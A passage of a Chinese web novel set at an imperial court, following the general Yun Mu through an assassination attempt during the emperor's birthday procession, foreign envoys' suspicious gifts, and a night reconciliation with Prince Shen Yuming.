“你们懂什么,高处不胜寒,大人孤独了这么久,好不容易碰上一个可心的人,糊涂点怎么了?” “不如我们去把人绑了送到大人床上?” 几人突然奋起,摁着徐文又拍打了好几下,只是声音大,拍到身上却没用上多大的劲。 云暮不知他们突然抽什么风,丢下一句话就走了。 “皇上抵达摘星阁前,把传言压下。” 第一百五十三章求我 天边泄出一丝光亮时,从宫门至摘星阁,每隔几丈远就站着一个着着甲胄的侍卫,系着红樱的长枪在早秋的清晨泛着冷意。 云暮在勤政殿外候着,等着吉时到来。 黄如海今日才被调回来当值,见了云暮分外殷勤,至于心诚不诚只有他自己知晓了。 云暮摆摆手,命其和吕良进去伺候梁文帝。 在云暮没看见地方,一盆热气腾腾的开水被放置在木架上,黄如海指使吕良:“去,给皇上绞干帕子。” 吕良看了一眼那水,皱眉道:“黄公公,这水……会不会太烫了?” 黄如海一脚踢到他的腿窝,“别以为你伺候了皇上几日,得了贵人的眼,就敢在我面前摆谱,让你去你就去,若是皇上醒了帕子还没好,你担责。” 吕良从前在黄如海手下当值,因黄如海犯了错,他才有了出头之日,如果事事都需要云暮来救,那他就没有存在的必要了。 他应了一声,指尖飞快地从铜盆里勾出被浸泡在最底下的帕子,手指头瞬间被烫得通红,但他没有痛呼一声,不过是捏了两下耳朵就开始拧干帕子的水。 “算你识趣。” 黄如海丢下这么一句,走到里间叫醒梁文帝:“皇上,时辰到了,该起身了。” 两人的声音压得极低,梁文帝住在东隔间,还隔着一道门,他并不知晓两人之间的腥风血雨。 双脚才刚落地,一张温度适宜的帕子就递到了梁文帝跟前,黄如海却抢先拿过了帕子,把吕良挡在了身后。 “皇上,奴婢来伺候您洗漱穿衣。” 温热的帕子盖在脸上,梁文帝发出了一声喟叹,这才看向了黄如海:“你伤好了?” 黄如海早就存了给云暮上眼药的心思,当即便道:“几日前就好了,只是云大人心疼奴婢,怕奴婢落下病根,这才让奴婢又多养了几日。” 黄如海心想,这一身伤都是拜云暮所赐,而云暮几次往梁文帝身边安插人手,只要他挑拨几句,只要皇上疑心云暮会生异心,就算再得皇上宠信,云暮离死也不远了,到时,他一定要狠狠报当日之仇! 而他也全然忘了是谁把他一手提拔到如今的位置。 但他想岔了,他即便在宫中待了多年,只知道一些明面上的事,并不知道云暮和梁文帝还有一个约定。 梁文帝闻言,将帕子砸到黄如海脸上,“几日不当差,话都不会说了,换个人来伺候。” 黄如海不知哪句话触了他的眉头,“皇上……” “朕不想再说第二次。” 黄如海就是万般不愿,也只能不情不愿地退下,正要把他的人叫进来,就听到梁文帝说道:“叫吕良进来。” 黄如海不是没想过他离开后的这几天会有人趁机上位,但着实没想到会是这个平时不显山露水的吕良,他咬牙道:“是。” 吕良一直候在外面,见黄如海这么快就出来,他有些惊讶。 黄如海却将惊讶看做嘲讽,双指做出钳状,拧住他的胳膊,低声道:“你就算再得皇上青眼,那也是在我手底下当差,若是敢生出旁的心思,那就休怪我无情。” 吕良道了声不敢,做足了谦卑姿态。 黄如海这才满意,“管好你的嘴,里头的话若是传到云将军的耳朵里,你知道下场。” 吕良唯唯诺诺,不敢答话。 黄如海一走,他面上的野心全然露出,他才进宫不久,但幸运的是,一来就被分到了御前当差,这对他们来说是天大的喜事。 但谁想御前伺候的事都由黄如海一手把控,当了这么久的差事,他们连皇上的喜好都摸不清楚,唯有黄如海的亲信能得知一二。 之前他因给沈聿明办过事,得了几句夸,就处处遭黄如海针对,平日里更是把最脏最累的活派给他做,事后又处处挑拣。 那日被云暮指名来伺候皇上,他心中忐忑不堪,一是他与云暮毫无瓜葛,不知对方为何指名要他,二是他不知梁文帝的喜好。 但好在有人在旁提点,他也必须抓住这个向上爬的机会! 大约过了两炷香的时间,勤政殿正殿的门被吕良自里打开,他敛目说道:“云将军,皇上请您进去。” 云暮什么都没说,径直走了进去。 银甲披在身上,行动间,颇有肃杀之意。 梁文帝坐在龙椅上将他上上下下都细细看了一遍,才道:“云卿穿这身,总算是是比平日里有精神气了。入了秋,天也凉了,往后进宫时朕还未起,你就来此处候着吧,不必同那些奴婢一样站在外头。” 云暮不冷不淡地回了句:“多谢皇上关心,臣不冷。” 多日不见,才见了面又是这般冷淡,梁文帝也不知究竟是何处惹得他不快,但见黄如海端着热茶走了进来,他也不好开口问,只能道:“今日事多,你多半挤不出时间,陪朕用个早膳吧。” 语气里竟带了一丝哀求和期盼,求他应下,也盼他能应下,但也做好了被云暮拒绝的准备。 “出去。” 即便云暮没有点名,但黄如海也知道这话是对他说的,他轻轻把茶放下,无声地退了出去。 云暮则几步上前,双手撑在桌上,居高临下地看着梁文帝,“你求我,或许我还会答应。” 梁文帝面色一僵,“朕堂堂一个天子,怎么会求……” 云暮瞬间站直了身体,“臣去外面静候皇上。” 她才走了两步,就听到身后传来声音。 梁文帝闭了眼,深吸一口气,“朕……求你。” 一国之君求一个宦官与他同桌而食,这在大梁前所未有,若是让那些大臣知道,只怕上疏弹劾的折子要摞得比人还高。 见云暮还是往外走去,梁文帝喝了一声:“云暮!” 云暮这才肯回头看他一眼:“皇上,臣不过是去叫他们传膳罢了。” 今天的早膳,对云暮来说,味同嚼蜡,但对梁文帝来说,却是他期盼已久的事。 从前云暮能在勤政殿用杯茶,喝盅药膳,他都能乐上半天。今日虽是他低声下气求来的,这是不是意味着云暮终于肯接纳他了? 第一百五十四章用早膳 云暮被他的眼神看得直犯恶心,她夹了一个肉包到梁文帝的碟子里。 黄如海一见,当即就要收走,“云将军,皇上修道以来,就一直吃素斋,是不碰肉的,您平日里太忙,顾不上这些也是情有可原。” 云暮看了梁文帝一眼:“是嘛,皇上?” 梁文帝冷冷地看着黄如海,随后目光又移到桌上,一言不发。 云暮头一回肯陪他用早膳,就差点被这么个不识好歹的人毁了,他能有什么好脸色? 黄如海想到地下那条直通云府的长道,才知他坏了事,吃不吃的,不都在皇上的一念之间吗? 他连忙抬手扇了自己几巴掌,找补道:“奴婢擅自做主,奴婢有罪。” 直到双颊高高肿起,云暮才出声:“皇上。” 梁文帝厌恶地挥退黄如海:“滚下去领罚,别脏了云卿的眼。” 没吃多少,云暮便搁了筷,见梁文帝期盼望她,碗碟都是空的,她扯了扯嘴角:“吕良,眼睛看哪去了,还不快给皇上布菜。” 吕良拿不准该给梁文帝夹些什么,只能照着他平日的口味添了些素菜,梁文帝不过吃了一口,就将筷子丢在了桌上,“撤了。” 辰时初,大吉。 百官正跪在金銮殿外,迎帝后出宫。 云暮站在梁文帝身后,静看万臣朝拜。察觉到有道目光落在她身上,但很快又销声匿迹。 是沈聿明。 她无端想起大年初一那日,前一晚沈聿明才对她表明了心意,她不知该如何面对,也是处处回避。 两次,她都是站在梁文帝身侧,逃避沈聿明的视线。她的嘴角勾起一抹苦笑,随后很快又重新挂上了冷脸。 出了宫门后,帝后共乘一个轿辇,他们的身后是浩浩荡荡的百官。 百姓在长枪的阻拦下,只能踮脚望着队伍。 云暮时刻警惕着周遭,生怕突生变故,但怕什么就会来什么。 破空声响,几支飞箭只冲轿辇而来,云暮大喊:“护驾!” 今日抬轿辇的人都换成了金吾卫,他们快且平稳地放下轿辇,轿辇前后的金吾卫举起手中的盾,挡住了箭雨。 云暮则挥剑砍落朝她飞来的箭,见有人试图从缺口处靠近轿辇,她边挡边往那边靠近,期间还朝天发了一支飞云令。 一脚将那几人重新踹回原位,云暮站在了那个缺口处,“谁再敢往前一步,杀无赦!” 太子也被人里三层外三层护着,唯有沈聿明以保护梁文帝的名义趁乱来到他身边和云暮维持着一个不远不近的距离。 远处的高楼上,一个黑漆漆的洞口对准了云暮,放出了今天的最后一支箭。 此箭比寻常的要粗,箭头上也泛着不寻常的光,云暮已有察觉,她目测箭身有手指那般粗,不敢轻易截下,往旁边躲又怕误伤了其他人,她便只能让人往后。 沈聿明见她没有避让的想法,焦急万分,不管不顾地就要冲上去替她挡下这一箭。 箭雨直射向帝后、太子及沈聿明,身前的百姓察觉不到危险,没有四下逃窜,又仗着人多,料定云暮不敢责众。 云暮一心三用,头都大了。,看着挡在她身后的沈聿明,呵斥的话到底没有说出口。 这箭的威力足以穿透她和沈聿明,就在她打算不顾身前的百姓时,几粒石子从人群中飞出,精准地落在箭上,卸去了力道,也让它改了方向。 云暮拉着沈聿明躲到了一旁,双眼在人群中搜索,试图找到辛百草。 在她的右手边,一只手捏着弹弓晃了两下,又咻的一下收了回去。 清点好伤亡后,云暮跪地请罪,“臣巡查不力,险些害了皇上和皇后,臣甘愿受罚。” 今儿的早膳尚且不提,梁文帝看到云暮脸颊上的那抹血时,平放在膝盖的手难耐地动了动,心里有了个主意。 “人还未拷问,就先别急着揽罪,走吧,切莫再误了吉时。” 长龙再次动身。 好在这一路再无人作乱,一行人有惊无险抵达了摘星阁。 “参见皇上、皇后娘娘,吾皇万岁万岁万万岁,娘娘千岁千岁千千岁。” 外邦的使臣里,不乏不懂大梁官话者,但临出发前都特意学会这两句话。 梁文帝携着皇后,率领朝中重臣一同踏入摘星阁。 他提起衣摆,坐在了金色的龙椅之上,看着各国的使臣俯首称臣,心中畅快不已。 他略抬双手,笑道:“不用拘礼,都起来吧。” 众人落座,太子和沈聿明一左一右分别坐在梁文帝的下首。 万寿节的流程都大差不差,云暮只觉得没意思,分了心看向右边的沈聿明。 她站的位置不错,还垂着眼帘,在旁人看来,她时刻关注着梁文帝的安危,就连偏头看她的梁文帝也是这么认为。 见吕良拿着帕子回来,他克制地收回目光。 “云将军,云将军。” 吕良小声喊着人,见他没有反应,只能将帕子举到云暮跟前,“云将军,您擦把脸吧。” 视线被挡住,云暮才终于回神,她接过帕子随意一抹,又丢回吕良手里。 堂中,教坊司的宫人伴着管弦之声翩然起舞。体态轻盈如游龙,水袖柔软如素蜿。 宫人扭着腰四下分散,水袖一挥,在碰到前边人的面颊时,又收了回去,只在鼻尖留下淡淡的香味。 但沈聿明却无心观赏,甚至在水袖飞来时,头往后仰了几分,也借此观察着云暮。 她不开心。 是因为刚才的事吗?她就这么不想和他再有牵扯吗? 心里苦涩,连平日里喜欢的东西都变得难以入口。 裴然一向是个“老好人”的形象,见沈聿明苦着张脸,不吃也不喝,只一味地看着梁文帝的方向,还当他是在担心方才那件事,便端起了酒杯。 “王爷,还请放宽心,皇上有云将军护着,不会出事。金吾卫连同城北的军队一道护驾,咱只管开怀畅饮就是。” 沈聿明扯出一个比哭还难看的笑,和他碰了碰杯,“也不知那伙人是什么来路,竟能在城中伪装了这么久。” 第一百一十五章毒蛇做礼 云暮又出了神。甚至都没有发现吕良神色慌张地出去了好几趟,直到手心被塞进了一样东西。 见吕良毕恭毕敬地站在梁文帝身后,若不是掌心的硌意,云暮还当是错觉。 她借着调整站姿,将手背到身后,把掌心的东西塞到袖口。 她用指腹敲了敲剑柄,中郎将匆匆出现,站在了她身后。 她前脚刚走,后脚梁文帝便问吕良:“都准备好了?” 吕良:“回皇上,都准备好了。” 皇后淡淡地瞥了他们一眼,问道:“皇上准备了什么有意思的东西,不妨也和臣妾说上一说。” 梁文帝摆了摆手:“没什么,不过是让他们多备些酒罢了,使臣千里迢迢来大梁,得让他们尽兴才是。” 皇后陪在他身侧几十载,怎会辨不出他说的话是真是假,她笑了笑,附和道:“还是皇上心细。” …… 阁外,云暮找了一个僻静的角落,确认无人会来后,她拿出藏在袖口的字条。 “勿用茶水饭食。” 一阵脚步声响起,云暮揉了揉字条,转身之时,字条精准地落在了靴子中。 看见来人的那一刻,云暮忘了动作,只呆呆地看着他步步逼近,就在两人仅有三步之遥时,她拱手行了一礼:“下官见过王爷。” 这大半年以来,两人还是头一次这般疏离,沈聿明心中很不是滋味。 两人就这样站着,沉默了良久。 在金銮殿外时,沈聿明的脸色还有些苍白,像是靠着一股气撑着,现下双眼迷蒙,面颊泛红,唇畔还有些湿润。 他喝酒了,还喝了不少,这显然不是谈话的好时机。 “王爷既然无事,下官就先告退了。” 路过沈聿明身边时,云暮的手腕被他抓住。 “你刚才……没受伤吧?” 往常轻易就能挣开的手今日却像是铁钳一般,云暮握住他的手腕,使劲一捏。 耳边的呼吸一滞,她的手被箍得更紧了,不管她怎么使劲,沈聿明就是不松手。 云暮收回手,不再同他较量,她淡淡道:“你弄疼我了。” 沈聿明像是被烫到了一般,猛地松开手,又想撩开袖口查看:“我……对不起,让我看看。” 云暮退了几步:“王爷,您喝醉了。” 沈聿明大声反驳:“我没醉!” 喝醉鬼争吵是最没脑子的事,云暮绕过他,打算从另一条路回摘星阁正堂,却忽然被人从身后抱住。 “别走。” 这一次,围在她腰间的手和他的声音一样轻,秋日正午的日光和夏日不相上下,而沈聿明的声音却抖得不成样子。 云暮一根一根掰开他的手指,沈聿明恨不得把人揉进血肉中,但手上却不敢加力,只敢虚虚地握住她的两根指头。 “云暮,我错了,你怎么罚我都行,但能不能收回昨日的话?” 云暮动作没停,“昨日已经说了,我们今后除了公事外,还是不再来往的好,就当之前的事从未发生过。” 梁文帝在一日,他们就不可能心无芥蒂地在一起,但她又因那个约定,不仅不能对他下手,还得护住他的命。 沈聿明越发绝望:“可你没有问过我愿不愿。” 云暮狠心道:“这不重要,一开始我便说了,只要我不愿,我们的关系可以随时终止。” 沈聿明并未死心,抓着云暮的肩,把人转向了他,质问:“你对我就没有一点喜欢吗?” 云暮定定看他,带着薄红的面庞也掩不住病态,眼眶红了一圈,水汽氤氲,却始终不肯落下一滴。 那些狠心的话忽然都说不出口了。 良久,她才说出一句:“就当我们回到刚认识那会儿。” …… 这边梁文帝见他终于回来了,习惯性地问了一句:“去做什么了?” 在万寿节的宴会上下药,还是针对她,背后之人的心思昭然若揭。 “云卿,怎么了?” 怕被他看出破绽,云暮移开目光,“没什么,就是被酒气熏得难受,出去透口气。” 修道以来,梁文帝有意克制口欲,今日难得有借口放纵一次。饭菜没吃几口,酒倒是喝了不少,好在没有醉糊涂,尚且记得云暮喝不了酒。 “吕良,把朕桌上的酒都撤了,换成白水。” 云暮冷眼看着他借喝醒酒汤时轻嗅袖口,又依他言往旁退了半步。 没有冷脸,没有不耐,梁文帝满心愉悦,才坐直了身子,吕良将装了白水的酒壶和一套新的杯盏放到了他面前,也挡住了刚落座的沈聿明,惹得云暮多看了他两眼。 歌舞撤去之后,到了使臣献礼的环节。 吕良立于阶前,高呼:“各国使臣献礼。” 都道南边多瘴气蛇虫,这头一个上来献礼的就是南疆,只是上来前,他先让吕良准备了一张桌子。 南疆使臣提着一个盖着黑布的笼子上前,手搭在笼顶,要掀不掀。 “梁皇,南疆地偏地小,也没有什么能拿得出手的宝物,臣就第一个献丑了。” 梁文帝也想看看黑布之下是什么宝贝,他手略抬,做了一个请的动作。 南疆使臣捏起笼顶的布,倏地将其扯下,笼中赫然是几条缠在一起的蛇! 蛇的身上黑白交错,头呈三角状,冲人嘶嘶吐着信子。 云暮挑眉,在江南时,她常去山林田间采草药,见过不少毒蛇,自然也认得此蛇。 此蛇身怀剧毒,被它咬上一口,药石无医,只能等死。 在场之人无不骇然惊呼,就连梁文帝也神色微变,但到底做了几十年的皇帝,自然比旁人多些镇定。 “使臣,这些蛇可都拔了毒牙?” 使臣爽朗一笑:“正是,诸位不用害怕。” 他将笼子放到桌上,取下腰间的笛子,开始吹奏。笼中之蛇听到笛声后,将身体盘了起来,蛇身也随着笛声摇晃,看着颇为滑稽。 笑意冲淡了紧张。 咔哒一声,使臣单手吹笛,另一只手则打开了笼门,几条蛇嗖的一下窜了出来,。 云暮的眉眼往下压了几分,她站到梁文帝身侧,警惕地盯着那几条还在摆动的蛇,有些后悔今日没带小青出门。 第一百五十六章笼中的女人 蛇冷血至极,不通人性,此刻却能随着音律起舞,梁文帝啧啧称奇,见云暮如此,还笑着宽慰道:“云卿,使臣说了,毒牙已拔,不用如此。” 云暮虽退了回去,但手还是放在腰间,半点不敢松懈。 婉转的笛声变得激昂,一条正随着使臣的步伐游走的蛇嗖的一下,直奔梁文帝而来。 吕良和皇后的惊恐地喊了一声“皇上”,一直关注着蛇的云暮抽出剑,几步上前将蛇拦腰斩断,蛇身落到地上时,还在扭动。 笛声不再,蛇也停了动作,和使臣一样,转而看向了云暮,嘶嘶之声不断。 被几双毫无感情的竖瞳盯着,云暮也没有退缩一步,她冷声道:“使臣这是何意?” 使臣赔笑道:“畜生不通人性,偶尔会出现意外也是在所难免,梁皇和云将军勿怪。” 他再次把笛子横在嘴边,手指翻动,婉转的笛声再次响起,将余下的蛇都赶回笼子。他没有着急拿黑布盖住,反倒是包住了那条被砍死的蛇。 云暮拦下他要揣进怀里的动作,“不知使臣可否让云某看看此蛇?” 使臣推拒:“蛇已经死了,血腥味太重,云将军还是不看为好,免得脏了手。” 云暮维持着伸手的动作不动:“还请使臣配合。” 不亲自验过,她始终不放心。 南疆使臣无法,只能把死蛇放在了桌上。云暮的手朝后一放,手衣出现在她掌心。 匕首插进蛇的脑袋,等它再也不动弹后,才抽出匕首,熟练地捏开它的嘴。 使臣笑道:“云大人很熟练,以前也玩过蛇?” 云暮抬眼扫他:“这有何难,给牢里那些罪犯灌毒酒时,不也是这样做吗?” 此话一出,人群里稀稀拉拉地响起几声笑,气氛才算没有那么沉闷。 见毒牙果然被拔了之后,云暮将蛇丢回黑布上,“云某生性多疑,使臣勿怪。” 使臣还是那副笑呵呵的模样,将笼子递到云暮面前:“谨慎些是应该的。” 云暮看着笼子,不解,也没接。 使臣指着吕良道:“他看起来很害怕,但云将军胆识过人,方才也未见惊慌,只能由您先替梁皇收下此礼了。” 云母侧身看了眼梁文帝:“皇上,可要收下?” 梁文帝还有些后怕,平日里也不爱养这些畜生,本想随意找个理由打发了,就听到南疆使臣说道:“梁皇若是不喜,也可用来泡酒,这是大补之物。” 梁文帝下意识看向云暮,有些意动,“使臣一路从南疆带来,也是不易。云卿,收下吧。” 等人再次坐下后,云暮才收剑退了回去。 梁文帝挥退了吕良,挣脱了皇后的手后才面色不改地说道:“继续吧。” 接下来的使臣所送之礼倒也还算中规中矩,梁文帝不时点评一二,再夸上几句,就命吕良都收下。 轮到北域献礼时,司戎打开了一个巴掌大的檀木盒,是一块巴掌大的玉玺。 在场之人什么稀罕物没见过,见此情形,有人略带嫌弃地噫了一声。 司戎也不恼,从容道:“岁初,北域王的寝宫里凭空出现一块玉石,上面刻着一行字及……文昌二字,经过查验,确定就是文昌皇帝在位期间的那枚国玺。” 文昌皇帝乃史书上赫赫有名的帝王,他在位期间,不仅收复了失地,打得敌人节节败退,每年各地的岁贡几十车都装不完。 至此,天下太平。 多年之后,文昌皇帝留下一封亲笔信,再也没了消息,随之而去的就是那枚玉玺。 有人说他看破红尘,出家修道,亦有人说曾与夜半看见他在渡劫,最后化龙得道飞升。 两百余年过去了,这枚玉玺终于现身。 梁文帝小心翼翼地捧着,生怕其被磕到碰到。他看向玉玺的侧面,果真刻有一行小字。 “我自挥刀向西伐。” 再看发黄的底部,许是盖过不少印的缘故,底部的缝隙里留了一些干涸的红墨。对着光细看,果真见到了文昌二字。 司戎继续道:“父王特命孤将此作为贺礼,送给梁皇。祥瑞降世,天佑大梁!” 众人闻言,也都起身跪下,“祥瑞降世,天佑大梁!” 梁文帝对玉玺爱不释手,又见众人如此识趣,嘴角的笑意怎么都止不住,“都平身。” “北域王及司戎献礼有功,赏!” “谢梁皇!” 得了玉玺,梁文帝对接下来的礼物已经不抱有期待的。 最后一个送礼的是东胡。 和南疆的使臣一样,东胡使臣所送之礼也装在笼中,也都拿一张黑布盖着。但不同的是,东胡的笼子要比南疆的大得多,靠着二十余人才堪堪抬上。 云暮屏气听了几息,但胡人飞块地说了一大串话,她什么都没听到。 “这份礼物,梁皇必定喜欢。” 听他如此笃定,梁文帝终于把注意力从玉玺移到笼子上,“这是何物?” 使臣意味不明地笑了,“是能一件能讨梁皇欢心的礼物。” 梁文帝的手指勾了勾,使臣从地上抓起黑布一角,使劲扯下。 “这……” “这是……人?” 不止云暮,大梁那些上了年纪的官员在看到这个女子的容貌时,都下意识地看向沈聿明。 云暮心道,太像了,简直就是一个模子刻出来的。但东胡的做法着实恶心,云暮生出了杀心。 沈聿明自己也愣住了,甚至失手打翻了面前的酒壶。 哐当一声,瓷器清脆的碎裂声响起,众臣的目光移到了梁文帝身上。 当年冷宫那位身死,梁文帝一连半个月都没有上朝,每日都去冷宫待着,什么都不做,也不许人重建冷宫。 后来不知从哪里得了沈聿明没死的消息,这才又重燃了希望。 胡人把一模一样的人送来,安的什么心,他们知,梁文帝也知。 多年的愧疚漫上心头,手中的玉玺也被搁到一旁,他双眼不眨,直直看着笼中人。 胡人见他的反应,微微一笑,他打开笼门,用胡语飞速说了几句。 笼中的女子怯怯地走了出来,叮铃铃的铃铛声在堂中响起,纤纤玉足踩在黑布上,分外惹眼。 云暮清楚地看见,梁文帝的喉间滚动了几下。 第一百五十七章翻墙进王府 皇后除去一开始的惊愕,很快就又平静了下来。但凡本朝实力尚可,国主都不会立外邦人为后,更何况她身后还有崔家,她的儿子更是大梁的太子! 她看向梁文帝:“皇上又得佳人了。” 梁文帝收回视线,笑着拉过皇后的手,轻拍了两下,“佳人易得,贤后难寻啊。” 帝后说话间,难免冷落了女子,但她不气恼,亦没有插话,而是静静听着。 反倒是她身边的使臣沉不住气,“皇上,嘉禾公主想跳一支舞为您贺寿,还望您恩准。” 梁文帝:“准。” 笼子换成了圆鼓,女子随着鼓声翩翩起舞,腕上的铃铛随着舞步叮铃铃地响个不停。 女子莲步轻移,来到梁文帝面前,云暮也得以看清此女的脸。 她虽只在画像上见过柔妃,但此女的容貌却远不及柔妃。 可当那双柔若无骨的手挡住半张脸时,盛着秋水的双眸无辜抬眼,云暮双目一缩,被恶心得说不出话,霎时握紧了腰间的剑柄。 一舞毕,梁文帝率先抚掌,“赏。” 女子盈盈一拜:“溪儿谢过陛下。” 梁文帝目露怀念,似是透过她看到了另一个人,久久不言,直到吕良低声唤了他几声,才终于回神。 他问:“是哪个字?” 女子答道:“清溪清我心,清溪二字便是妾的名字。” 胡人还会中原的诗,着实罕见,梁文帝问道:“你与……林曦是和关系?” 林清溪抬头看了他一眼,很快又垂下头:“用大梁的话说,她是我姑母。” 梁文帝招手,命她上前几步:“你看着不过二八年华,怎会记得她?” 话语间尽是审问,林清溪并未慌乱,而是和梁文帝一样,目露怀念:“父王曾说,他和林曦姑母的感情最好,一得空便同我们说姑母之事,是以记得姑母的不少事。” 梁文帝道了一声原来如此,“下去吧。” 他端的一副不近美色的模样,若不是他的双目都黏在林清溪身上,云暮只怕也会被他骗住。 林清溪也毫不留恋,恭顺地行了一礼,就回到使臣身侧坐下,与其他女子倒是不同。 直到宴会结束,梁文帝都没有再往他们的方向看过一眼。 再次送梁文帝回宫,云暮都不曾碰过一样吃食,从早上吃的那几口早膳一直到现在,已经过了大半日。双唇干到起皮,肚子一直咕咕直叫,但她依旧没有心思用膳。 直到夜幕降临,云暮伪装了一番来到秦王府,今夜她并不打算从正门进去。 寻了一个好地方,云暮往四周看了一眼,发现无人注意后,她借力跃上了墙头,无声地翻进了秦王府。 因钟叔他们的身份不方便现于人前,秦王府的人不算多,再加上云暮谨慎,动作极轻,并未吸引其他人的注意。 云暮顺着记忆,往沈聿明住的院子走去。临到前,就听到文竹的声音,“快点搬,放下的时候轻一点,免得磕了碰了。” 听这话,像是在搬动易碎之物,云暮小心翼翼地探出个头,发现竟是一坛坛酒。 沈聿明买这么多酒作甚,他能喝得完? 院子里,沈聿明拿着酒壶,一口接着一口往嘴里灌,倒得太急,酒从嘴角滑落,将衣襟打湿。 但他仍旧没有理会,脸上的水痕也没擦,又继续喝。 文竹站在他身旁,让下人照着他的意思,把酒坛摆在沈聿明身边,见沈聿明如此,他于心不忍,“王爷。” 沈聿明越喝,眼睛越清明,“这点酒醉不倒我,你下去吧。” 文竹一步三回头,忧心忡忡地看着沈聿明,最后想了想,还是决定不关院门,左右他在附近,门开着也能方便他观察沈聿明的情况。 云暮没有贸然从院门进,而是从一处围墙翻了进来,随后便倚着墙站在暗处,看着沈聿明借酒浇愁。 不知过了多久,沈聿明将桌上的酒杯挥到一边,趴在桌上低声呢喃,但隔得太远,云暮听不见他说了什么。 她突然有些后悔这两日同他说的那些话了。 又静静看了许久,云暮翻出了院墙,递给文竹一个纸包,“去给他煮一碗解酒汤。” 文竹试探性地开口:“云大人?” 云暮:“是我,他……喝了多久?” 面对云暮,文竹的心情有些复杂,但还是如实回答:“从摘星阁回来后就是如此,还……” 云暮扫了他一眼,“吞吞吐吐做什么。” 文竹只能道:“还把打算送给圣上的贺礼一把火烧了。” “《孝经图》?” “不是,是王爷用雷击木雕的元真人,原打算宴会结束后送进宫,但回来后就命小的把东西烧了。” 提到梁文帝,云暮心头的火气又起了,她冷声道:“烧了便烧了,也不是什么大事,他就该……” 后面的话着实大逆不道,云暮强忍住说出来的冲动,“去煮解酒汤吧,等会儿再命几个人把他抬回房里。” 文竹站的位置极好,周围有树干可倚,距离沈聿明的院子也不算太远,还能把沈聿明在做之事收入眼中。 云暮从地上跳了一块还算圆润的石头,上下抛着,眼睛虽在沈聿明身上,但手总能精准地抓到石头。 不多时,文竹捧着一碗热气腾腾的解酒汤来了。 云暮走到院门前,沈聿明心有所感似的抬起头,正要转身,一颗石头击在了他的后脖,他再次趴回了桌上。 文竹搂着沈聿明,避开脚下的酒坛,一步一步往房中挪去。院中烛火被风吹熄了好几盏,光线骤然变暗,他一脚踩到几粒未被清走的碎石。 就在两人即将摔倒之时,云暮忽然出现,将不省人事的沈聿明拉到她怀中,还顺带拉住了文竹。 文竹道了声谢,就要接过沈聿明。 云暮避开他的手,“他交给我,你去拿解酒汤。” 文竹收回手,并暗中狠掐了沈聿明一把,竟真的把人掐醒了。临走前,他心想:王爷,属下能帮的就是这些了。 沈聿明闷哼了一声,人还未完全清醒,就从一身酒气中闻到了熟悉的味道。 “云暮?” 第一百五十八章被打了 云暮抓着他的手一僵,她特意把人弄晕了才进来,怎么会醒得这么快?她没有开口,也没有动作,而是在想,现在一个手刀把他劈晕能不能行。 沈聿明抓着她的手臂,勉强站直了身体,迷蒙的双眼半睁着,努力想要看清眼前之人,只是不管怎么看,对方的脸都和记忆里那张对不上。 “怎么不一样?” 他低头在云暮的颈侧嗅了嗅,很是不解:“味道一样,但为什么脸不一样?” 头发擦过颈侧,带来痒意,云暮偏了偏头,但下一瞬,又被沈聿明按了回来。醉酒后的他比平日里多了几分强势,云暮饶有趣味地挑了挑眉。 沈聿明的手在云暮的脸上摸索了很久,最后停在了耳后。 云暮按住他的手,“放手。” 沈聿明摇头,“不放,放了你又要走。” “你们都不要我,父皇不要我,母妃不要我,我只剩下你了,但连你也要抛下我。” 云暮自知理亏,只好沉默。 沈聿明借着为数不多的记忆,用指尖在云暮的耳后轻轻勾着,什么都没勾起,他纳闷道:“明明就是这里,怎么摸不到。” 云暮半边身子都酥酥麻麻的,她叹了一声,拿掉沈聿明的手,自个儿把人皮面具撕了下来。 “看清了吗?” 沈聿明的手从眉眼一路往下,最后停在了下颌处,大拇指则在唇上不住摩挲。 云暮想起文竹还在,扭头一看,发现院中只剩下他们二人,就连院门都被关得严严实实。 见她还有闲心关注旁的事,沈聿明心头一直堵着的气终于爆发,大手盖住云暮的半张脸,强硬地把她的头掰了回来。 强势的吻铺天盖地地落了下来。 云暮心里有愧,一直顺从着对方。两人从院子跌跌撞撞地回了房,不过分开了一瞬,沈聿明又再次封住了她的唇。 沈聿明摸黑把云暮带到了榻上,他焦急地把矮桌掀翻在地,再次俯身。 云暮捂住他的嘴,在黑暗中摇了摇头,哑着嗓子说道:“沈聿明,你酒醒了。” 醒了,就不该再继续了。 沈聿明不语,拉开她的手,继续方才的事。 院中的烛火不知何时熄了,整个院子都陷入沉寂,唯有大敞着房门的里屋热意攀升。 云暮仰躺在榻上,将帕子丢在他身上:“我知道你醒着,别装睡,去点灯。” 见他没动,抬腿踹了他一脚。沈聿明装睡不成,只能起身。 “不是说不要再有瓜葛了吗,你还来做什么?” 得了便宜还要赌气,云暮磨了磨牙,开口刺他:“看你一副要喝死的架势,过来看看能不能给你收个尸。” “让云大人失望了,本王还活得好好的。” 沈聿明给烛台加了灯罩,又顺手开了几扇窗,晚风吹进,冲淡了房中的酒气。 人清醒了,她也就没有留下来的必要了,她直直从榻上起身,临出门前,被沈聿明抓着手臂按在了门上。 “用完本王就一声不吭要走,云大人,这不好吧?” 云暮问道:“那你待如何?” 沈聿明的指尖停在她唇上的伤口上,是他失控时咬的,想用力按下,让她长个记性,但又舍不得她再次受伤。 云暮拍开他的手,无声催促。 沈聿明把她带到了外头,从院里的水井打了桶水,一根一根把她的手指洗净。 “不如何,宵禁已到,你出去了也回不了云府,不如就留在王府。” 云暮把水弹到他脸上,“笑话,我是他们的头儿,谁敢抓我?” 沈聿明按住她的手,把头埋进她怀里蹭干了脸上的水珠,“金吾卫秉公办事。” 云暮扯着他的衣领,企图拉开两人的距离,谁知沈聿明这个不要脸的竟然越抱越紧。 她突然累了:“沈聿明,我们这算什么?” 她今夜不过是想来看看他,结果却变成眼下的情形,真是……荒唐。 沈聿明没答,微微起身,一把将人抱在怀中,朝东厢房走去。 云暮懒得挣扎了,将下颌放在他肩上,明知故问:“你把我带到哪去?” 沈聿明把人往上掂了掂,手放在他的背上,把人往他怀里按。 “把你带到暗室,锁起来,除了我,不会再有其他人出现在你面前,你的眼中只能有我一人。” 云暮配合地瑟缩了一下,抖着身子道:“好可怕哦。” 话才说完,她的臀上就落了一掌。 “别乱动,等会儿掉下去我可不管。” 云暮喝道:“沈聿明,你好大的胆子!” 她长这么大,也就五岁那年被爹娘打过屁股,如今竟然被一个比她大不了多少的男人打了。 脸连带着耳朵红了一片,不知是气的还是羞的。 提到梁文帝,云暮心头的火气又起了,她冷声道:“烧了便烧了,也不是什么大事,他就该……” 后面的话着实大逆不道,云暮强忍住说出来的冲动,“去煮解酒汤吧,等会儿再命几个人把他抬回房里。” 